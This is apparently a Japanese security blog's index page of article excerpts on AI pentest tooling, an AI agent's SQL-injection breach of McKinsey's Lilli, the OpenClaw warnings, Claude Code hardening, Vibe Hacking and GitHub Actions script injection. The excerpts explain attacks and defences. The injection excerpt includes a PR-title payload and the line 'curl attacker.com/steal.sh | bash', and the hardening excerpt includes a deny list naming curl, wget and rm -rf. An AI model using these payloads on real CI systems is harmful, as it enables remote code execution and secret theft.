セキュリティ

Kali Linux チームが、外部 SaaS に一切依存しない完全ローカルの AI ペンテスト支援環境の構築ガイドを公式ブログで公開した。Ollama でローカル LLM を動かし、MCP（Model Context Protocol）経由で nmap などの Kali ツールを自然言語から操作する構成だ。 構成要素 コンポーネント 役割 アーキテクチャ上の位置づけ Ollama ローカル LLM サーバー。llama.cpp のラッパーとしてモデルのダウンロード・サービングを簡素化 推論エンジン（脳） mcp-kali-server Flask ベースの MCP サーバー（127.0.0.1:5000）。nmap, gobuster, nikto, hydra, sqlmap 等の Kali ツールを MCP 経由で公開 ツールサーバー（手足） 5ire デスクトップ AI アシスタント兼 MCP クライアント。ユーザー入力を LLM に送り、LLM の応答からツール呼び出しを検出し、MCP 経由でツールを実行し、結果を LLM に戻すループを回す AI エージェント（オーケストレーター） この構成で「エージェント」に相当するのは 5ire だ。LLM（Ollama）は推論を担うだけであり、ツールサーバー（mcp-kali-server）は呼ばれるのを待つだけ。ユーザーの意図を解釈し、LLM とツールの間を仲介して自律的にループを回す 5ire こそがエージェントの役割を果たしている。Claude Code に例えると、Ollama は API の向こう側の Claude モデル、mcp-kali-server は MCP サーバー、5ire は Claude Code 本体に相当する。 ...

セキュリティスタートアップ CodeWall の AI エージェントが、マッキンゼーの社内 AI プラットフォーム「Lilli」をわずか2時間で完全突破した。4,650万件のチャット履歴からシステムプロンプトまで、認証なしで読み書き可能だったという。攻撃手法は SQL インジェクション——教科書の1章目に載る古典的な脆弱性だ。 Lilli とは Lilli はマッキンゼーが社内向けに構築した生成 AI プラットフォームで、数万人のコンサルタントが日常的に利用している。戦略立案、M&A 分析、クライアント対応など、機密性の高い業務に活用されていた。 Lilli のアーキテクチャ マッキンゼーは Lilli の技術構成をある程度公開しており、その設計思想と今回の事件のギャップが際立つ。 RAG パイプライン + オーケストレーション層 Lilli のコアは RAG（Retrieval-Augmented Generation）パイプラインだ。40以上のキュレーション済みナレッジソースに10万件超のドキュメント、インタビュー記録、セクター別プレイブックが格納されている。ユーザーのクエリはベクトル埋め込みでマッチングされ、5〜7件の関連文書が引用付きで提示される。四半期あたり約200万クエリを処理する規模だ。 技術スタック LLM: Cohere、OpenAI（Azure 経由）など複数モデルを併用。Microsoft、Google、Nvidia、Anthropic との戦略的パートナーシップ フレームワーク: QuantumBlack の Horizon ツールキット、LangChain、FAISS インフラ: Microsoft Azure（データストレージ・スケーラビリティ） 独自ツール: PowerPoint を85%以上読み取り可能にする独自ドキュメントパーサー 「ゼロトラスト」設計——のはずだった マッキンゼーは Lilli のセキュリティについて、ゼロトラストセキュリティスタック、オンプレミスデータストア、ロールベースアクセス制御（RBAC）、完全な監査ログを備えていると説明していた。しかし実際には、22個の API エンドポイントが認証なしで外部に公開されていた。設計上のセキュリティと実装上のセキュリティの乖離が、今回の事件の根本原因だ。 攻撃の経緯 CodeWall の自律型セキュリティエージェントは、以下の手順で Lilli を攻撃した: 公開 API ドキュメントの発見 — Lilli の API ドキュメントが外部から閲覧可能な状態だった 認証不要エンドポイントの特定 — 22個のエンドポイントが認証なしでアクセス可能だった SQL インジェクションの検出 — ユーザー検索クエリを書き込むエンドポイントで、JSON のキー名が SQL 文に直接連結されていた 本番データベースへのフルアクセス — 読み取りと書き込みの両方が可能な状態に到達 人間の介入は一切なし。AI エージェントが自律的に脆弱性を発見し、エクスプロイトまで完了した。 ...

企業のセキュリティチームは深刻な課題に直面しています。NVD（National Vulnerability Database）に登録される CVE は年間 25,000 件以上。多くの企業では数万〜数十万の脆弱性がスキャンで検出されます。しかし現実は明確で、「すべてを修正することは不可能」です。 この状況を背景に、ガートナーは新しいセキュリティの考え方として Exposure Management（エクスポージャー管理） を提示しました。 CVSS とは何か Exposure Management を理解する前に、従来の脆弱性管理の中核にある CVSS（Common Vulnerability Scoring System） について押さえておきましょう。 CVSS は、脆弱性の深刻度を 0.0〜10.0 のスコアで数値化する国際的な評価基準です。FIRST（Forum of Incident Response and Security Teams）が管理しており、現在は v3.1 と v4.0 が使われています。 スコア 深刻度 9.0〜10.0 Critical（緊急） 7.0〜8.9 High（重要） 4.0〜6.9 Medium（警告） 0.1〜3.9 Low（注意） スコアは以下の観点から算出されます。 攻撃元区分 — ネットワーク経由か、物理アクセスが必要か 攻撃条件の複雑さ — 特殊な条件が必要か 必要な特権レベル — 認証が必要か ユーザ関与 — ユーザの操作（リンクのクリック等）が必要か 影響範囲 — 機密性・完全性・可用性への影響度 CVSS は脆弱性の技術的な深刻度を標準化された方法で伝える点で非常に有用です。しかし、このスコアだけに頼る運用には限界があります。 従来の脆弱性管理の限界 従来のアプローチは「脆弱性スキャン → CVSS スコアで優先順位付け → パッチ適用」というものでした。しかし現代の IT 環境では以下の課題があります。 ...

オープンソースの AI エージェントフレームワーク「OpenClaw」の利用が中国国内で急拡大する中、中国の国家コンピュータネットワーク緊急対応技術チーム（CNCERT）が緊急のセキュリティ警告を発しました。政府機関や国有銀行での使用禁止にまで発展したこの問題について、技術的な背景と対策をまとめます。 何が起きたのか 2026年3月、中国の CNCERT は OpenClaw について「極めて弱いデフォルトセキュリティ設定」を持つと警告を発しました。OpenClaw はローカルファイルシステムや環境変数へのアクセス、拡張機能のインストールなど高いシステム権限を付与されますが、デフォルトのセキュリティ設定が不十分であり、攻撃者がシステム全体の制御を容易に奪取できる状態であると指摘されています。 この警告を受けて、中国当局は政府機関と国有企業（主要銀行を含む）に対し、業務用コンピュータへの OpenClaw のインストールを禁止する通知を出しました。既にインストール済みの職員には、上司への報告・セキュリティチェック・必要に応じた削除が指示されています。 CNCERT が指摘した主なリスク 1. アーキテクチャ設計上の問題 OpenClaw はローカルファイルシステム、環境変数、シェルへの広範なアクセス権限を持ちます。これ自体は AI エージェントの機能として必要ですが、適切な制限なしに運用すると重大なリスクとなります。 2. デフォルト設定の脆弱性 管理 UI のデフォルトポートがインターネットに公開可能な状態 環境変数に認証情報を平文で保存する設定がデフォルト スキルの自動更新が有効な状態がデフォルト 3. プラグインエコシステムの危険性 不正なプラグイン（ポイズンドプラグイン）を通じて、ユーザーのシステムに悪意あるコードが侵入するリスクがあります。プラグインのアクセス権限が十分に制限されていないことが問題視されています。 4. Web ベースの攻撃 悪意ある指示を Web ページに埋め込むことで、OpenClaw に不正な操作を実行させる攻撃（プロンプトインジェクション）が可能です。 5. 重要データの誤削除 AI エージェントの判断ミスにより、ユーザーが意図しない重要データの削除が発生するリスクも指摘されています。 CNCERT の推奨対策 CNCERT は以下の対策を推奨しています。 コンテナで隔離実行する — OpenClaw をホストシステムから隔離された環境で動作させる 管理ポートをインターネットに公開しない — 管理 UI へのアクセスをローカルネットワークに限定する 認証情報を平文で環境変数に保存しない — シークレット管理ツールを使用する スキルの自動更新を無効にする — 更新は手動で検証してから適用する 厳密な認証とアクセス制御を実装する — 不要な権限を排除する セキュリティアップデートへの追従を徹底する — 既知の脆弱性に速やかに対応する AI エージェント全般への教訓 この問題は OpenClaw に限った話ではありません。AI エージェントは本質的に高いシステム権限を必要とするため、以下の原則はどのエージェントツールにも当てはまります。 ...

Claude Codeでツール実行のたびに「パスワード漏洩リスク: 0%」「悪意あるコード実行リスク: 0%」のようなセキュリティリスクのパーセンテージを表示させるCLAUDE.mdの設定がSNSで話題になった。これに対し、セキュリティエンジニアから「それは対策ではなくお気持ち表示」という指摘が上がり、議論を呼んでいる。 話題になった「パーセンテージ表示」 @wan_line_（ワン@AIのお兄さん）氏が2026年3月9日に投稿したポストでは、CLAUDE.mdに以下のようなルールを記述することが提案されていた: ツール実行のたびに パスワードが外に漏れる可能性: ○% 外部サーバーにデータが送られる可能性: ○% 悪意あるコードが動く可能性: ○% PCの設定が書き換わる可能性: ○% Claude Codeで「yes連打」してしまうユーザー向けに、実行前にリスクを可視化してくれるという趣旨だ。 セキュリティ専門家の反論:「お気持ち表示」 この投稿に対し、@sudachikawaii（シンジ☁Shinji）氏が反論した: セキュリティ屋から言うと、これは「対策」ではなく「お気持ち表示」です。LLMはコードの安全性を静的解析していないので、表示されるパーセンテージに技術的根拠がありません。 「0%」を見てyes押すのは、yes連打と同じです。 指摘のポイントは明快だ: LLMは静的解析エンジンではない — LLMが出すパーセンテージは、コードを構文解析して脆弱性を検出した結果ではなく、「それっぽい数値」を生成しているだけ 偽の安心感を与える — 「0%」という表示を見てユーザーが安心してyesを押すなら、結局yes連打と変わらない 技術的根拠がない — 実際のセキュリティリスク分析には、静的解析ツール（SAST）、依存関係チェック、ネットワーク通信の監視などが必要 Claude Codeに本当に効くセキュリティ対策 Claude Codeには、CLAUDE.mdの「お気持ちルール」よりもはるかに実効性のあるセキュリティ機能が組み込まれている。公式ドキュメントに基づき、本当にやるべき対策を整理する。 1. サンドボックスを有効にする 最も重要な対策。Bashコマンドの実行をOSレベルで隔離し、ファイルシステムやネットワークへのアクセスを制限する。 macOSではSeatbelt、LinuxではBubble Wrapが使用される /sandbox コマンドで有効化 2. denyルールで危険なコマンドをブロック permissions.deny に実行禁止コマンドを明示的に設定する。評価順は deny → ask → allow で、denyが最優先。 1 2 3 4 5 6 7 8 9 { "permissions": { "deny": [ "Bash(command:rm -rf *)", "Bash(command:curl *)", "Bash(command:wget *)" ] } } 3. 機密ファイルへのアクセスを遮断 .env やシークレットファイルへのアクセスをブロックする。 ...

「Vibe Coding」が開発者の間で広まる中、同じ発想をサイバー攻撃に応用する「Vibe Hacking」が新たな脅威として注目されている。AI を使って、専門知識がなくてもマルウェアや攻撃スクリプトを生成できる時代が到来した。 Vibe Hacking とは Vibe Hacking は、AI を活用してサイバー攻撃のハードルを劇的に下げる手法・思想を指す。開発者が自然言語で AI にコードを書かせる「Vibe Coding」のダークサイドとも言える概念だ。 従来のハッキングには、ネットワークプロトコルの理解、脆弱性の発見、エクスプロイトコードの記述といった高度な技術スキルが必要だった。しかし Vibe Hacking では「ターゲットを指定するだけ」「経験不要」「AI が処理する」といった形で、技術的な障壁がほぼ消失する。 具体的な脅威 AI 生成マルウェア HP Wolf Security の脅威インサイトレポート（2025年10月〜12月）によると、攻撃者は AI で生成した感染スクリプトを実際の攻撃キャンペーンに使用している。偽のインボイス PDF を通じて、正規のプラットフォーム（Booking.com など）へリダイレクトする前にマルウェアをダウンロードさせる手口が確認されている。 Flat-Pack Malware 複数の無関係な脅威グループが、同一のモジュール化されたマルウェアコンポーネントを再利用する「Flat-Pack Malware」も増加している。市販のマルウェア部品を組み立てるだけで、最小限の労力でカスタマイズされた攻撃キャンペーンを展開できる。 国家レベルの活用 パキスタン系の脅威アクター「Transparent Tribe」が、AI コーディングツールを使ってマルウェアを「Vibe Coding」し、インド政府やその海外大使館を標的にした事例も報告されている。 なぜ危険なのか 攻撃コストの劇的な低下 脆弱性の発見からエクスプロイト作成までのコストは、かつて数週間と数千ドルを要した。AI によりこれがほぼゼロになりつつある。「スプレー＆プレイ」型の大規模攻撃ではなく、特定のシステムや企業、さらには個々の開発者をピンポイントで狙うマイクロターゲット攻撃が現実的になった。 検出回避能力の向上 HP の調査では、メール脅威の 14% 以上がゲートウェイスキャナーを回避している。AI が生成するコードは毎回微妙に異なるため、シグネチャベースの検出が困難になっている。 Vibe Coding で作られたアプリの脆弱性 攻撃だけでなく、Vibe Coding で開発されたアプリケーション側も問題を抱えている。Veracode の GenAI コードセキュリティレポートによると、AI 生成コードの 45% にセキュリティ脆弱性が含まれている。AI はほぼ半分の確率で安全でない実装を選択する。 対策のポイント AI によるコードレビューの自動化 Vibe Coding で生成された全コードを人間がレビューするのは現実的ではない。コード生成が AI なら、レビューも AI で自動化するのが自然な流れだ。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！ 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる @koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。 書きました。GitHub Actions 触る人は全員知っておいてほしい 【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。 2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。 スクリプトインジェクションとは何か GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。 通常の期待: ${{ github.event.pull_request.title }} → 文字列として処理される 実際の動作: ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる → シェルがコマンドとして解釈する つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。 攻撃の実践例 攻撃 1: PR タイトルによるインジェクション 脆弱なワークフロー: 1 2 3 4 5 6 7 8 on: pull_request: jobs: example: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}" 攻撃者が PR タイトルを "; echo INJECTED" に設定すると: ...

上場企業3,700社のSPF/DMARC設定を全調査 — 「p=none」が半数、日本のメール認証の現在地 @yoppy0123 氏のポストが、上場企業のメール認証設定を網羅的に調査した Zenn 記事を紹介しています。 上場企業（約3,700社）を対象にSPF / DMARCの設定状況を調査した記事です。実際のところどうなんだろう？と気になっていたので、とても参考になりました！ 元記事は ext0mmy 氏による「上場企業約3,700社のSPF/DMARC設定状況調査」です。2026年3月1日時点で、JPX（日本取引所グループ）に上場する3,745社を対象に、DNS レコードから SPF と DMARC の設定状況を調査しています。 Google が Gmail の送信者ガイドラインで DMARC 対応を義務化してから2年。日本の上場企業はどこまで対応が進んだのか、調査結果を技術的な背景とともに解説します。 メール認証の基礎 — SPF・DKIM・DMARC の仕組み 調査結果を読み解くために、まずメール認証の3つの技術を整理します。 SPF（Sender Policy Framework） SPF は、メールの送信元 IP アドレスを検証する技術です。ドメインの DNS レコードに「このドメインからメールを送信してよい IP アドレスの一覧」を登録しておき、受信側がそれを照合します。 example.co.jp IN TXT "v=spf1 include:_spf.google.com ~all" 末尾の修飾子が認証失敗時のポリシーを決定します。 修飾子 意味 厳しさ +all 全て許可 設定する意味がない ~all（softfail） 認証失敗を記録するが配信は許可 緩い -all（fail） 認証失敗のメールを拒否 厳しい DKIM（DomainKeys Identified Mail） DKIM は、メールに電子署名を付与し、送信中の改ざんを検知する技術です。送信サーバがメールヘッダとボディに署名を付け、受信サーバが DNS に公開された公開鍵で検証します。SPF が「どこから送ったか」を検証するのに対し、DKIM は「改ざんされていないか」を検証します。 DMARC（Domain-based Message Authentication, Reporting and Conformance） DMARC は、SPF と DKIM の認証結果を束ねて、認証失敗時の処理方針を定めるフレームワークです。 ...

FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術 サイボウズのバグバウンティで複数年度 1 位の実績を持つセキュリティ研究者 @yousukezan さんのポストで紹介されていた、FIDO2 認証（パスキー）の概要記事を深掘りします。元記事は Nagano さんの Zenn 記事です。 2026 年現在、日本証券業協会がパスキー（FIDO2）の導入を必須化するガイドラインを施行し、楽天証券・SMBC 日興証券などが相次いで導入を進めています。パスキーはもはや「新しい技術」ではなく「必須のインフラ」になりつつあります。 パスワード認証の根本的な問題 パスワード認証には、仕組みそのものに起因する構造的な脆弱性があります。 graph LR USER["ユーザー"] -->|パスワードを送信| SERVER["サーバー"] ATTACKER["攻撃者"] -.->|盗聴・フィッシング| USER style USER fill:#3498db,color:#fff style SERVER fill:#2ecc71,color:#fff style ATTACKER fill:#e74c3c,color:#fff 脅威 内容 フィッシング 偽サイトにパスワードを入力させる リスト型攻撃 漏洩したパスワードを他サービスで試行 中間者攻撃 通信を傍受してパスワードを盗む サーバー侵害 サーバーに保存されたパスワードハッシュの漏洩 これらの問題は「秘密情報（パスワード）をネットワーク経由で送信する」という設計そのものに起因します。ワンタイムパスワード（OTP）でも、この根本構造は変わりません。実際、日本証券業協会は 2025 年 10 月のガイドライン改正で、OTP の利用を非推奨としています。 FIDO2 の設計思想 — 「秘密を送らない」 FIDO2 は発想を根本から変えました。秘密情報をネットワーク上に一切流さない認証方式です。 graph LR subgraph デバイス側 USER2["ユーザー"] -->|生体認証/PIN| AUTH["認証器<br/>（TPM等）"] AUTH -->|秘密鍵で署名| SIGNED["署名データ"] end subgraph サーバー側 SIGNED -->|署名のみ送信| VERIFY["公開鍵で検証"] end style USER2 fill:#3498db,color:#fff style AUTH fill:#f39c12,color:#fff style SIGNED fill:#9b59b6,color:#fff style VERIFY fill:#2ecc71,color:#fff パスワード認証では「秘密そのもの」を送信しますが、FIDO2 では「秘密鍵で作った署名」だけを送信します。秘密鍵はデバイス内の安全な領域（TPM、Secure Enclave 等）に保管され、外部に出ることはありません。 ...